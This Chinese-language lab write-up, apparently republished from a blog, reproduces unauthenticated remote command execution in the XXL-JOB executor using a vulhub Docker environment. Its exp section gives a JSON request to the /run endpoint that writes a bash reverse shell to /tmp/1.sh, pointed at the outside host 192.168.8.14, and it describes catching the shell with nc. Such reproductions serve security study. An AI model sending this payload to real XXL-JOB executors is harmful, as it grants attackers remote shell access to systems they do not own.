1、漏洞描述
XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB分为admin和executor两端,前者为后台管理页面,后者是任务执行的客户端。executor默认没有配置认证,未授权的攻击者可以通过RESTful API执行任意命令。
2、靶场搭建
靶场使用vulhub
进入vulhub/xxl-job/unacc目录下,执行docker-compose up -d
容器起来后,docker ps -a
看一下
浏览器访问http://your-ip:9999
看到如上图,说明漏洞环境部署成功。
3、漏洞复现(反弹shell)
浏览器访问http://your-ip:9999/run,并通过bp抓包
修改请求方式为POST
,并写入exp,然后发送请求
exp:
文章来源:https://www.toymoban.com/news/detail-503392.html
{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "echo 'bash -i >& /dev/tcp/192.168.8.14/9999 0>&1' > /tmp/1.sh",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}
将/tmp/1.sh赋予可执行权限
开启nc监听
执行命令:
查看nc监听,反弹成功
文章来源地址https://www.toymoban.com/news/detail-503392.html
到了这里,关于xxl-job远程命令执行漏洞复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!